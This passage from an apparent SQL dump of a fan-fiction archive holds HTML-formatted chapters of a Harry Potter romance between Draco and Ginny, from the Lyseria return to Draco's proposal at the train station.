</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;The Wooden Duck&quot;, Lyseria\'s bar, was sitting on a field of white emptiness. &nbsp;It looked exactly as it had, except Ginny was already there.&nbsp; Both Draco and Ginny faced her. It wouldn\'t have been very odd to see another Ginny in this room, considering the past ones, but this time she was looking straight at them.&nbsp; She wore a white dress with a bright red sash around her waist and red trim around the sleeves, collar and skirt.&nbsp; Her hair was behind her in a single braid, and she looked five or six years older than Ginny did.&nbsp; Ginny had necklace around her neck and a baby in her arms.&nbsp; She looked at them with a peace and amusement that unsettled Draco.&nbsp; &quot;It\'s okay,&quot; she told Ginny.&nbsp; She turned to Draco who was looking at her suspiciously. She smiled knowingly.&nbsp; &quot;Settle down, Draco.&nbsp; You know, you\'ll end up with wrinkles if you keep scowling like that.&nbsp; Come on in; I\'ll send you home.&quot;&nbsp; She walked into the bar, leaving the two of them outside.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny turned to Draco.&nbsp; &quot;That was me...talking to me...&quot;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco grinned in amusement.&nbsp; &quot;That difficult of a concept?&quot;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She gave him a warning, stern look.&nbsp; &quot;Still it\'s odd to experience that...&quot; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;We\'re going home,&quot; Draco told her.&nbsp; Ginny looked up into his eyes.&nbsp; He looked away, he knew what she wanted to ask him.&nbsp; &quot;I don\'t know what will happen.&nbsp; Who ever really knows?&nbsp; You know our families and friends...how hard everything would be...&quot;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &quot;Yeah.&quot;&nbsp; A few tears slipped from her eyes.&nbsp; &quot;This is it, isn\'t it?&quot;&nbsp; When he didn\'t answer, Ginny turned away, not wanting to cry in front of him.&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco put his arm around Ginny\'s waist and pulled her close to him. He tilted her face up to him.&nbsp; &quot;Don\'t worry about what happens.&quot; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Ginny poured every bit of feeling- anger, frustration, caring- everything she had every felt for him into that kiss.&nbsp; They broke apart, and Ginny reached for the bar door.&nbsp;&nbsp; Draco put his hand on her left shoulder, talking to her over her right, her back against his chest.&nbsp;&nbsp; &quot;That baby was mine, you know.&nbsp; The baby you were holding.&quot;&nbsp; It was impossible not to know that baby was his with those eyes.&nbsp; Ginny nodded, wiping tears from her cheeks. Feeling more hopeful, Ginny opened the door.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny sat at one of the bar stools with the baby, and she smiled when she saw them come in.&nbsp; &quot;Ready to go home?&quot;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco was oddly silent then, but Ginny lifted her head and spoke for them.&nbsp; &quot;Yes.&nbsp; We\'re ready.&quot;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny nodded at the two of them and lifted her wand.&nbsp; Speaking clearly and moving her wand through a spell neither Draco nor Ginny knew, she finished by pointing at them.&nbsp; With an explosion of yellow light, they were gone.</p> '),
	(155, 19, ' <p>Sorry it took so long!&nbsp; I finally had time!&nbsp; It&#8217;s completely written now, and I&#8217;ll type the last chapter within a few days.&nbsp; Happy reading!</p>\n\n<p>Chapter 19&nbsp; Land of Broken Hearts</p>\n\n<p>Ginny opened her eyes.&nbsp; She was in a bed in the Hogwarts infirmary.&nbsp; Blinking into the light, she saw someone in front of her.&nbsp; &#8220;You were knocked out just outside the castle,&#8221; Hermione told Ginny, feeling her forehead for fever.</p>\n\n<p>&#8220;Did you find me, then?&#8221;&nbsp; Ginny asked, trying to replay the scene in her mind.</p>\n\n<p>Hermione shook her head.&nbsp; &#8220;Malfoy carried you back here.&nbsp; Something must have happened to you when you came back to Hogwarts.&#8221; She paused.&nbsp; &#8220;But Seamus came to visit you.&nbsp; Isn&#8217;t that nice?&#8221;</p>\n\n<p>Ginny sat up quickly.&nbsp; &#8220;Where is he?&#8221; Her eyes searched the room.</p>\n\n<p>&#8220;Seamus went off with Dean somewhere.&nbsp; Do you want me to find him?&#8221;</p>\n\n<p>Ginny frowned. &#8220;No, Draco.&nbsp; Where is he?&nbsp; Was he okay?&nbsp; Find him&#8230;&#8221;&nbsp; Ginny suddenly stood up and quickly began picking up her things.</p>\n\n<p>&#8220;What are you doing?&nbsp; You need to rest!&nbsp; Ginny!&#8221;&nbsp; Hermione called after her, but Ginny had already left the room.</p>\n\n<p>_________________</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny had run to the Slytherin common room that night, only to be met with a Draco that wouldn&#8217;t look at her.&nbsp; Ginny had cried all the way to her bedroom that night, trying to make sense of all that had happened.&nbsp; None of it seemed fair.&nbsp; He didn&#8217;t look at her for the whole rest of the year.&nbsp; There were times where she felt his presence in her room late at night. Once she even had a very vivid dream that he was kissing her and apologizing, but when Ginny woke up he wasn&#8217;t there.&nbsp; At breakfast that morning there was no acknowledgement that she existed, Pansy had only increased her affections since her &#8220;poor baby had been forced into being near a slimy Weasley for <i>so </i>long&#8221;.&nbsp; </p>\n\n<p>Ginny couldn&#8217;t bear the sight of Pansy almost as much as seeing Draco.&nbsp; Her upturned nose, that nasal flirtatious laugh, the way she put her arms around Draco as if to say &#8220;He&#8217;s mine.&#8221;&nbsp; Ginny hated that, and she hated her.&nbsp; She&#8217;d never liked her, true, but now&#8230;a mix of disgust, hatred and&#8230;there was that time she found her kissing him in the halls&#8230;envy.&nbsp; Ginny kept to the common room after that.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny tried to give up hope.&nbsp; She tried a couple more dates with Seamus, only for to realize that his heart truly lied with Dean.&nbsp; That was a blow to the ego.&nbsp; The Slytherins had made fun of the three of them for at least a month after that.&nbsp; At least Draco hadn&#8217;t been there for that.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; By the end of the year, things had gotten a little easier and her heart had mended itself a little.&nbsp; She was able to look at the dresses he had given her without a massive pang in her heart, and even decided to wear the green one to the Graduation Ball.&nbsp; This year was particularly hard on Ginny, since a good number of her friends were leaving.&nbsp; Now she was talking to Harry, saying their goodbyes.&nbsp; It was an immense feeling, knowing her friends, especially Harry and Hermione, were leaving Hogwarts.</p>\n\n<p>Ginny gave him a sentimental smile. &quot;It\'s going to be weird not seeing you here anymore.&quot;</p>\n\n<p>Harry nodded enthusiastically. &quot;Yeah, it\'s going to be weird not being here.&quot; Hermione called to him. Harry turned and nodded to her. He winked at Ginny. &quot;Don\'t worry, I\'ll be around.&quot; With a smile he left to catch up to Hermione.&nbsp; Ginny was struck with a strange feeling.&nbsp; Had she had a dream about this?&nbsp; </p>\n\n<p>Ginny walked over to the punch bowl and sipped at a cup of it.&nbsp; A song, one she liked, started playing and she closed her eyes to listen and think about the strangeness of the dream-like feeling.&nbsp; Within a moment, she felt a hand on her waist and another on her arm, both holding her softly.&nbsp; She felt a deep voice tickle her ear.&nbsp; &#8220;Why aren&#8217;t you dancing?&#8221;</p>\n\n<p>Ginny&#8217;s eyes shot open.&nbsp; She remembered.&nbsp; She was struck with sudden clarity, surprise and nostalgia.&nbsp; Back in Lyseria, this had happened.&nbsp; This had happened, Draco had danced with her, left her&#8230;but he hadn&#8217;t seen this part of her future, had he?&nbsp; It was all new to him.&nbsp; </p>\n\n<p>She turned to face him.&nbsp; He looked more charming than ever, his soft black dress robes draped on his figure and cool eyes warming her with the nostalgic look he was giving her.&nbsp; &#8220;Well, I&#8230;&#8221; she stumbled.&nbsp; She couldn&#8217;t believe this&#8230;that he was willing to be seen in public with her like this.&nbsp; </p>\n\n<p>He tilted his head and stroked her arm.&nbsp; &#8220;I thought you liked dancing.&#8221;</p>\n\n<p>&#8220;Well, I do, but&#8230;&#8221;&nbsp; Her eyes narrowed a little.&nbsp; &#8220;When did I say that?&#8221;</p>\n\n<p>He smiled at her, a smile that made her want to love him all over again.&nbsp; &#8220;You didn&#8217;t, I can just tell.&nbsp; Come on.&#8221; He put his hand out to her like he had always done.&nbsp; Ginny took it, and they started dancing.&nbsp; He spun her around to the quick beat of the song, and she laughed.&nbsp; Ginny felt like she was floating on air.&nbsp; The song soon ended, switching to a slower one. </p>\n\n<p>&nbsp;With uncomfortable uncertainty, Ginny separated from him.&nbsp; She was surprised he had danced with her that once, so when he asked to dance to the slow song with her, her heart raced.&nbsp; &#8220;Dance with me.&#8221;&nbsp; He had said, and they were.&nbsp; Ginny didn&#8217;t know what to think.&nbsp; She was so flustered around him, every feeling of their time together had rushed back to her, and she felt so safe in his arms that she didn&#8217;t care who was watching them.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco led her outside, put his cloak on her shoulders and kissed her.&nbsp; Ginny was filled with heart bursting hope, but then she remembered he was leaving.&nbsp; All this, and he was leaving within a couple days.&nbsp; He told her that he had to marry Pansy and work for his father, that he wasn&#8217;t going to let that happen, but had to run instead, building his life somewhere else.&nbsp; Ginny could barely listen, but it was all right because she didn&#8217;t have to.&nbsp; She&#8217;d heard this before, but it didn&#8217;t make any of it less real, less hurtful.&nbsp; At least he wouldn&#8217;t marry Pansy.&nbsp; At least he wasn&#8217;t going to be a slave to his father and the company and&#8230;she threw arms around him and fought her tears.&nbsp; He held her, stroking her hair and letting her cry.&nbsp; &quot;It\'s best for both of us, you\'ll see. Maybe someday...&quot; He pulled a velvet pouch from his pocket. &quot;Here.&quot; Draco placed it in her hand and disappeared back into the castle.&nbsp; </p>\n\n<p>Ginny sunk to the ground, wrapping herself in the cloak.&nbsp; She knew what would be in the pouch, but she had to see them.&nbsp; She pulled out the black amulet, his mother&#8217;s necklace and finally the note.&nbsp; With haste she unfolded it, reading the ending over and over.</p>\n\n<p><i>&#8220;&#8230;In case we don&#8217;t meet again&#8230;I love you, Ginny.&#8221;</i></p>\n\n<p>Ginny promised herself then that she would not think of Draco Malfoy any longer, but for that moment, she let herself cry.</p>\n\n<p>_______________</p>\n\n<p>Ginny dropped a stack of books on her bed.&nbsp; She was almost finished with Hogwarts!&nbsp; Ginny hung out her window, watching a group of second years playing tag in the sunset, a warm breeze filtering through her hair.&nbsp; She took a deep breath and sighed.&nbsp; Neville had asked her to meet him at the <st1:place><st1:placename>Astronomy</st1:placename>\n\n<st1:placetype>Tower</st1:placetype></st1:place> after sunset.&nbsp; Ginny smiled.&nbsp; He had been making an effort to come see her more often now that he had a steady accounting job.&nbsp; This was to be a short visit, however, because Ginny had her final N.E.W.T.s in the morning.&nbsp; Ginny grabbed her light cloak and headed out through the common room.</p>\n\n<p>Colin was resting in an armchair there, sorting through photos for his job application portfolio for the Daily Prophet.&nbsp; He looked up from his work.&nbsp; &#8220;Going to meet Neville, Ginny?&#8221;</p>\n\n<p>She looked at him oddly.&nbsp; &#8220;Yeah, why?&#8221;</p>\n\n<p>He shook his head.&nbsp; &#8220;Don&#8217;t&#8230;&#8221; he mumbled.&nbsp; &#8220;Don&#8217;t go, Ginny.&#8221;</p>\n\n<p>&#8220;Colin,&#8221; she put a hand on his shoulder.&nbsp; &#8220;What&#8217;s wrong?&nbsp; Why not?&#8221;</p>\n\n<p>Colin shook his head.&nbsp; &#8220;I&#8217;m sorry.&nbsp; Go.&nbsp; Yes, you should.&#8221;&nbsp; He looked up at her.&nbsp; &#8220;Just follow your heart, okay?&#8221;</p>\n\n<p>She gave him a worried smile.&nbsp; &#8220;Of course.&#8221;&nbsp; Ginny gave him a hug.&nbsp; &#8220;There&#8217;s nothing to worry about.&#8221;&nbsp; Ginny left the common room and headed for the astronomy tower.</p>\n\n<p>Ginny climbed the steps until she reached the platform of the tower.&nbsp; Neville was leaning against a wall, waiting for her.&nbsp; He wore a brown cloak with brown sweater and pants that matched his brown leather shoes, his work outfit.&nbsp; He smiled when he saw her.&nbsp; &#8220;Ginny bean&#8230;&#8221; he walked up to her and hugged her.&nbsp; Neville held both of her hands.</p>\n\n<p>&#8220;Neville.&#8217;</p>\n\n<p>&#8220;Ready for tomorrow&#8217;s N.E.W.T.s?&#8221;&nbsp; he asked.&nbsp; </p>\n\n<p>&#8220;Yeah, I think so.&nbsp; I&#8217;ve been putting extra work into my potions exam.&#8221;</p>\n\n<p>Neville started rubbing his hands on his pants and fidgeting.&nbsp; &#8220;Good, good.&nbsp; Work in the company is steady.&nbsp; I&#8217;ve got my own desk now.&#8221;</p>\n\n<p>Ginny gave him a half smile.&nbsp; &#8220;Good?&#8221;</p>\n\n<p>Neville stammered a little.&nbsp; &#8220;Oh, y-yes, definitely.&#8221;</p>\n\n<p>&#8220;Neville are you all right?&#8221; </p>\n\n<p>He nodded vigorously.&nbsp; &#8220; Uh huh.&nbsp; Yes. Just fine.&nbsp; Here.&#8221;&nbsp; He handed her a bouquet of daffodils.</p>\n\n<p>Ginny smiled.&nbsp; &#8220;Oh, Neville, they&#8217;re lovely!&#8221;&nbsp; She smelled her flowers and hugged him.&nbsp; She noticed he was still trembling.&nbsp; &#8220;Are you sure you&#8217;re all right?&#8221;</p>\n\n<p>Neville looked at his shoes.&nbsp; &#8220;Ginny, I&#8230;Ginny you&#8230;&#8221;&nbsp; Ginny looked confused.&nbsp; Neville dropped to his knee.&nbsp; &#8220;Ginny, please marry me.&#8221;&nbsp; Ginny dropped her flowers in surprise.&nbsp; She had thought he was serious about her, but she never thought he&#8217;d get the courage to propose.&nbsp; Did she even love him?</p>\n\n<p>&#8220;Ginny?&#8221;</p>\n\n<p>Had he really just proposed?&nbsp; To her?&nbsp; Ginny Weasley?&nbsp;&nbsp; No, Ginny Longbottom.&nbsp; She repeated it in her mind. &nbsp;Ginny Longbottom.&nbsp; No matter how she said it&#8230;she thought back to what Colin had said.&nbsp; Follow your heart.&nbsp; He must have known about this.&nbsp; She closed her eyes and tried it one more time.&nbsp; Ginny Longbottom.</p>\n\n<p>&#8220;Ginny?&#8221; Neville had stood up by now.</p>\n\n<p>She hated herself for thinking of it, but she couldn&#8217;t help but think of Draco.&nbsp; Ginny sighed.&nbsp; She picked up her flowers and handed them softly to Neville.&nbsp; &#8220;I&#8217;m sorry&#8230;I can&#8217;t.&#8221;&nbsp; She looked up at him.&nbsp; &#8220;Neville, I&#8217;m so sorry&#8230;&#8221;&nbsp; Neville clutched her flowers and Ginny left the astronomy tower.</p>\n\n<p><i></i></p> '),
	(155, 20, ' <p>Last one!&nbsp; I&#8217;m so glad I&#8217;ve posted all of this!&nbsp; Sorry it took forever to finish this story.&nbsp; Hope you like it!&nbsp; Feel free to review or email me with any unanswered questions as I highly doubt there will be a sequel.&nbsp; I&#8217;m at <a href="mailto:rainimarrimore@yahoo.com">rainimarrimore@yahoo.com</a>.&nbsp; Happy reading!</p>\n\n<p>Chapter 20&nbsp;&nbsp;&nbsp; Finding Forever</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ginny passed Colin in the common room as she ran to her dormitory.&nbsp; She couldn&#8217;t marry Neville.&nbsp; She couldn&#8217;t.&nbsp; Ginny hated to hurt him, but she just couldn&#8217;t marry him.&nbsp; She had never really loved him.&nbsp; Well, she had, but not the way she would love the man she would marry someday.&nbsp; </p>\n\n<p>Ginny remembered the rooms in Lyseria. Neville would have held her back.&nbsp; He would have smothered her.&nbsp; He would have put her in a little house with shutters and a pot of flowers on the porch and given her little boys to take care of.&nbsp; There was something to be said for that security, but just not for her.&nbsp; Ginny wanted the secure life and warm fireplace.&nbsp; She wanted kids and for Neville to be happy&#8230;but not with her.&nbsp; She couldn&#8217;t love him when she was still so confused about herself.&nbsp; Ginny went to sleep early that night partially to get some rest for N.E.W.T.s in the morning, but mostly to forget about men.</p>\n\n<p>When Ginny woke up, she skipped breakfast to write a letter to Neville explaining her choice.&nbsp; Ginny had trouble writing it, but she felt she owed him the closure of a better response.&nbsp; Eventually, she finished and sent him the letter before heading off to hours of N.E.W.T. testing.&nbsp; </p>\n\n<p>___________________</p>\n\n<p>Ginny relaxed in her chair when she finished.&nbsp; When time was called, she left and returned to her room.&nbsp; Her roommate was painting her toenails and reading a copy of Witch Weekly.&nbsp; Ginny paused.&nbsp; She had been in this situation before.&nbsp; Suddenly, she remembered.&nbsp; The letter from Draco was supposed to come today!&nbsp; She looked on her bed, where it had been before.&nbsp; Nothing.&nbsp; Turning to her roommate, Ginny spoke.&nbsp; &#8220;Did anyone leave a letter for me?&#8221;</p>\n\n<p>Her roommate shook her head.&nbsp; Ginny sat on the bed.&nbsp; So she hadn&#8217;t gotten a letter.&nbsp; In every room, no matter what choices Ginny made, she had received a letter.&nbsp; How could she not get one?&nbsp; Ginny dug through her wooden clothes chest and took out the pouch Draco had given her at the Graduation Ball last year.&nbsp; Ginny pulled the necklace out and held it in her hand.&nbsp; It glistened and shone as if newly polished.&nbsp; Putting it down, she took out the thing she had really wanted to see.&nbsp; At the bottom of that note, four simple words were written that Ginny, admittedly, had read more than a few times.</p>\n\n<p>&#8220;<i>I love you, Ginny</i>.&#8221;&nbsp; If he had really loved her, why hadn&#8217;t he contacted her for the past year?&nbsp; No letter?&nbsp; Ginny bit her lip.&nbsp; Maybe he had forgotten about her.&nbsp; She suddenly choked up.&nbsp; He had forgotten about her.&nbsp; There was no other reason.&nbsp; He had to have forgotten, or he would have sent secret letters if nothing else.&nbsp; Broken hopes and suppressed feelings from the past year flooded from her.&nbsp; Ginny ran to find Colin.</p>\n\n<p>&#8220;I give up!&#8221;&nbsp; She cried when she saw him.&nbsp; &#8220;This isn&#8217;t worth it.&nbsp; I can&#8217;t love him, and I won&#8217;t!&#8221;&nbsp; Ginny threw herself into Colin&#8217;s sympathetic arms.&nbsp; He had gotten better at this in the past couple years.&nbsp; </p>\n\n<p>He ran his hands through her hair and let her cling to him.&nbsp; &#8220;What happened?&nbsp; This isn&#8217;t about Neville, is it?&#8221;</p>\n\n<p>Ginny cried.&nbsp; &#8220;Neville?&nbsp; He&#8217;s the last of my troubles.&nbsp; I can&#8217;t believe I did that to him.&nbsp; I turned down his proposal and probably broke the poor man&#8217;s heart, and, yet, he&#8217;s the least of my troubles!&#8221;</p>\n\n<p>&#8220;You did him a favor.&nbsp; If you didn&#8217;t love him, you&#8217;d both be unhappy.&nbsp; You know that.&nbsp; It&#8217;s best this way.&#8221;</p>\n\n<p>&#8220;I know.&#8221;&nbsp; Ginny whimpered. She slouched in the chair and put her head in her hands.</p>\n\n<p>Colin tried again.&nbsp; &#8220;Are you in love?&#8221;</p>\n\n<p>Ginny turned her head.&nbsp; &#8220;Right,&#8221; she spoke sarcastically. Colin gave her a look, and she knew exactly who he meant.&nbsp;&nbsp; &#8220;Love?&nbsp; Malfoy?&#8221; She paused and shook her head. &nbsp;&nbsp;&#8220;Of course not.&#8221;&nbsp; She started to tear up again.&nbsp; &#8220;How could I love someone who wouldn&#8217;t look at me when he passed me and hasn&#8217;t spoken to me for a year?&nbsp; How could I love him?&nbsp; How could I love someone who doesn&#8217;t love me, who doesn&#8217;t care enough to&#8230;&#8221;</p>\n\n<p>&#8220;He does love you.&#8221;&nbsp; Colin admitted.</p>\n\n<p>&#8220;No, he doesn&#8217;t.&#8221;&nbsp; She buried her face in his shoulder.</p>\n\n<p>&#8220;Yes,&#8221; Colin sighed, &#8220;he does.&#8221;</p>\n\n<p>Ginny looked at him, annoyance and pain in her eyes.&nbsp; &#8220;Why would you say something like that?&nbsp; How would you know?&#8221;</p>\n\n<p>Colin looked as if he thought not to tell her, but felt she ought to know.&nbsp; &#8220;Because he told me!&#8221;</p>\n\n<p>Ginny stopped crying.&nbsp; &#8220;What?&#8221;&nbsp; She looked confused.&nbsp; &#8220;Why would he tell you?&#8221;</p>\n\n<p>Colin shook his head.&nbsp;&nbsp; &#8220;Well, more accurately, he threatened me, and then asked me for a favor.&#8221;&nbsp; Ginny looked at him quizzically, wiping tears from her eyes.&nbsp; &#8220;Malfoy told me that I had better watch out for you.&nbsp; He asked me to send a letter to him every once in a while to tell him you were okay.&nbsp; I sent him a picture of you in the common room.&#8221;</p>\n\n<p>&#8220;A picture of me?&#8221;&nbsp; Her breath hitched as she spoke, but she wasn&#8217;t sure if it was from surprise or from residual tears.</p>\n\n<p>&#8220;A pretty innocent one, really.&nbsp; He just wanted a picture of you in case he couldn&#8217;t see you again.&#8221;&nbsp; Ginny started crying again.&nbsp; &#8220;I know you love him and&#8230;&#8221; as hard as it was for him to say it, Colin continued.&nbsp; &#8220;...and I want you to be happy.&nbsp; Even if it&#8217;s with him.&#8221;&nbsp; He reached into his pile of papers.&nbsp; &#8220;Here.&#8221;&nbsp; Colin handed her a letter with a green seal.&nbsp; &#8220;This came at breakfast.&nbsp; You weren&#8217;t there, so I picked it up for you.&#8221;&nbsp; Ginny beamed at him, kissed Colin on the cheek and ran to her room to read her letter.</p>\n\n<p>___________________</p>\n\n<p>The Hogwarts Express was boarding passengers.&nbsp; Ginny pulled her trunk behind her, and looked back at the castle.&nbsp; She was done.&nbsp; She had graduated from Hogwarts and now she was a fully privileged, educated witch.&nbsp; She could apparate, get a job, practice magic, move away from home and do whatever her heart desired.&nbsp; Ginny felt powerful.&nbsp; </p>\n\n<p>Looking at Gryffindor tower and the Quidditch pitch, however, her sentimentality took over.&nbsp; She would miss school.&nbsp; She would miss her friends, her teachers, the crazy happenings of the past several years&#8230;Despite that, she smiled.&nbsp; She&#8217;d still talk to Colin, Hagrid, Dumbledore and the others.&nbsp; Life wouldn&#8217;t end.&nbsp; Ginny blew a kiss to Hogwarts, and smiled at Colin as they boarded the train.</p>\n\n<p>When it stopped, Mrs. Weasley was there to receive Ginny.&nbsp; Her mother pulled her into a big hug.&nbsp; &#8220;Oh, my little girl.&nbsp; My little baby&#8217;s all grown up.&#8221; </p>\n\n<p>&#8220;Mum, I&#8217;ve got some people I need to talk to&#8230;&#8221;&nbsp; Ginny gestured to Colin and a few others. </p>\n\n<p>&#8220;Of course, dear.&nbsp; We can catch up later.&#8221;&nbsp; Mrs. Weasley apparated home. </p>\n\n<p>&#8220;Colin!&#8221;&nbsp; Ginny called as Colin took his wand out to leave.&nbsp; He turned to look at her.&nbsp; She smiled.&nbsp; &#8220;I&#8217;ll miss you.&#8221;</p>\n\n<p>Colin rubbed his neck.&nbsp; &#8220;Bah, no need to miss me.&nbsp; I&#8217;ll see you around.&#8221;&nbsp; Ginny kissed his cheek and headed for Platform 12.&nbsp; As Ginny walked past Platforms 10 and 11, she wondered what was going to happen.&nbsp; Draco &#8216;needed to see her&#8217;.&nbsp; Ginny hoped he was okay.&nbsp; She walked up to Platform 12.&nbsp; </p>\n\n<p>There he was.&nbsp; Draco was slouched forward, sitting on a black metal bench.&nbsp; His face, which usually looked so strong, conveyed worry and tiredness.&nbsp; Ginny smiled and tilted her head.&nbsp; &#8220;Do you always look this upset when you ask someone to meet you?&#8221;</p>\n\n<p>Draco stood up, breaking into a half smile.&nbsp; &#8220;No, not usually.&#8221;&nbsp; Ginny flung her arms around his neck, resting her head on his shoulder and relishing the feel of his arms around her.&nbsp; She looked up when he spoke.&nbsp; &#8220;How have you been?&#8221;</p>\n\n<p>Her eyes lowered, his arms still wrapped around her waist.&nbsp; &#8220;Could&#8217;ve been better.&#8221;</p>\n\n<p>Draco absorbed the feeling of her being near him.&nbsp; Her smell, her hair, her eyes&#8230; &#8220;I&#8217;ve had a lot of time to think, recently.&#8221;</p>\n\n<p>&#8220;And?&#8221; she asked softly.</p>\n\n<p>His eyes stayed intensely focused on her.&nbsp; &#8220;And I&#8217;ve thought a lot about you.&#8221;&nbsp; </p>\n\n<p>Ginny felt weak when she heard him.&nbsp; She didn&#8217;t know whether to be happy or to cry.&nbsp; Ginny closed her eyes.&nbsp; &#8220;I thought I&#8217;d never see you again.&#8221;&nbsp; Ginny felt he had to know.&nbsp; It hurt her to tell him.&nbsp; &#8220;I didn&#8217;t date, I couldn&#8217;t, but&#8230;&#8221; She looked down.&nbsp; &#8220;But Neville asked me to marry him.&#8221;&nbsp; Draco winced.&nbsp; &#8220;He sent me letters and visited me on holiday&#8230;&#8221;&nbsp; Draco looked as if he were kicking himself just then.&nbsp; He looked so pained that it nearly broke her heart in two.&nbsp; Draco turned away and walked back into the station.</p>\n\n<p>Ginny couldn&#8217;t believe it.&nbsp; After all this time, after having Colin watch over her, after sending her that letter, and even after holding her the way he just had, he was leaving.&nbsp;&nbsp; Ginny ran after him.&nbsp; She knew if she didn&#8217;t, she may never see him again.</p>\n\n<p>Already wearing his coat, Draco had almost left the room when Ginny ran up behind him.&nbsp; &#8220;I thought I&#8217;d never see you again!&#8221;</p>\n\n<p>Draco turned angrily to face her.&nbsp; &#8220;So you agree to marry someone else?!&nbsp; Do you love him?!&#8221;</p>\n\n<p>Ginny yelled at him, pain in her eyes.&nbsp; &#8220;No!&#8221;</p>\n\n<p>He yelled louder.&nbsp; &#8220;Then why are you marrying him?!&#8221;&nbsp; Everyone in the station was watching the two of them, by now.&nbsp; </p>\n\n<p>Ginny looked frustrated, tears sparkling in her eyes.&nbsp; &#8220;I&#8217;m not marrying him!&nbsp; I couldn&#8217;t marry him because I&#8217;m in love with you!&#8221;&nbsp; She started crying.&nbsp; &#8220;I broke a man&#8217;s heart for the slight hope that I would ever see you again!&#8221;</p>\n\n<p>Draco&#8217;s eyes softened.&nbsp; &#8220;So you&#8217;re not marrying him?&#8221;</p>\n\n<p>Ginny looked up at him, tears running down her cheeks. &#8220;No.&#8221;</p>\n\n<p>Draco, put an arm around her waist and smirked.&nbsp; &#8220;And you love me?&#8221;</p>\n\n<p>Ginny shuffled her feet.&nbsp; Draco&#8217;s smile broadened.&nbsp; He tilted her chin up so her eyes met his.&nbsp; &#8220;And you love me?&#8221;</p>\n\n<p>&#8220;Yes, I love you.&#8221; Draco grinned and kissed her.&nbsp; It was a kiss he had never given her before, one filled with tenderness and joy.&nbsp; It was for this kiss that she had waited so long.&nbsp; His lips fell softly from hers, and he took a step back.</p>\n\n<p>&#8220;I have to catch the train.&nbsp; I&#8217;ve got work in the morning.&#8221;&nbsp; He told her, straightening his coat.</p>\n\n<p>&#8220;What?!&#8221;&nbsp; Ginny couldn&#8217;t believe he was leaving, <i>now.</i></p>\n\n<p>&#8220;Yeah, at the University.&nbsp; Potions research.&nbsp; I have a flat near the campus.&#8221;&nbsp; They walked back toward the train.&nbsp; </p>\n\n<p>Ginny choked up and tried to control her emotions.&nbsp; She failed.&nbsp; &#8220;So you come back after a year, have me admit that I love you, kiss me and leave?&#8221;</p>\n\n<p>&#8220;No.&#8221;</p>\n\n<p>Ginny was really frustrated.&nbsp; &#8220;What do you mean &#8216;no&#8217;?&#8221;<br>\n\n<br>\n\n</p>\n\n<p>Draco walked casually to the train, which was beginning to board passengers.&nbsp; &#8220;I mean, no.&nbsp; Come with me.&#8221;</p>\n\n<p>It struck Ginny that she hadn&#8217;t thought of this.&nbsp; She looked at him with suspicion and confusion.&nbsp; &#8220;What do you mean &#8216;come with you&#8217;?&#8221;</p>\n\n<p>Draco stepped onto the train, Ginny standing right in front of him.&nbsp; &#8220;Come with me, Ginny.&#8221;&nbsp; He held his hand out to her as he had so many times before.&nbsp; Draco looked at her directly.&nbsp; &#8220;Marry me.&#8221;&nbsp; It took a moment for Ginny to process what he had said.&nbsp; Then, she noticed the train ticket and ring in his palm.&nbsp; Draco was serious.&nbsp; She said it in her mind.&nbsp; Ginny Malfoy.&nbsp; Her stern face lighted into a huge grin.&nbsp; Ginny took his hand, and they boarded the train.</p> '),
